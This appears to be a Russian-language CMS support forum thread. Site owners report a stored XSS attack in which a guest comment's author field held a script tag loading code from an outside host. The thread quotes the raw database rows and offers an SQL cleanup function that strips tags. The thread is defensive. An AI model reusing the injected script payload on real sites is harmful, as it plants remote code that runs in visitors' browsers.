Проверьте свои сайты!
В базе записан как
'сергей <script src=\"//v1v.be/nb\">< /script>'
Добрые люди подсказали, за что им особое спасибо, что в гостевом комментарии зараза жила.
В базе записан как
'сергей < /script>'
странно, разве движок не режет сам такую фигню, если она может быть опасной
Они прибиты — Обрабатывать типографом.Как прибить скрипты в текстовых редакторах ?
См. выше.Премодерация постов с ссылками не помешала бы .
Речь шла о гостевом комментарии. Пожуём, увидим.
сергей <script src="//v1v.be/nb"></script>', 'tyler979slatkin@mail.ru', '176.213.16.24
сергей <script src="//v1v.be/nb"></script>', 'harriett503mccarney@inbox.ru', '176.213.24.36
Надо что то думать с этим.
Dr Web на демо не пускаетВ Демо это так и надо?
Я же написал. Проблему уже исправили, очень скоро будет обновление CMS.но как обезопасить себя на будущее?
А пока, можете воспользоваться вот такой "лечилкой" (это SQL, скопировать и вставить во вкладку sql в phpmyadmin)
DROP FUNCTION IF EXISTS icmsStripTags; DELIMITER | CREATE FUNCTION icmsStripTags( Dirty VARCHAR(100) ) RETURNS VARCHAR(100) DETERMINISTIC BEGIN DECLARE iStart, iEnd, iLength INT; WHILE Locate( '<', Dirty ) > 0 AND Locate( '>', Dirty, Locate( '<', Dirty )) > 0 DO BEGIN SET iStart = Locate( '<', Dirty ), iEnd = Locate( '>', Dirty, Locate('<', Dirty )); SET iLength = ( iEnd - iStart) + 1; IF iLength > 0 THEN BEGIN SET Dirty = INSERT( Dirty, iStart, iLength, ''); END; END IF; END; END WHILE; RETURN Dirty; END; | DELIMITER ; UPDATE `cms_comments` SET `author_name` = icmsStripTags(author_name) WHERE `author_name` IS NOT NULL; DROP FUNCTION icmsStripTags;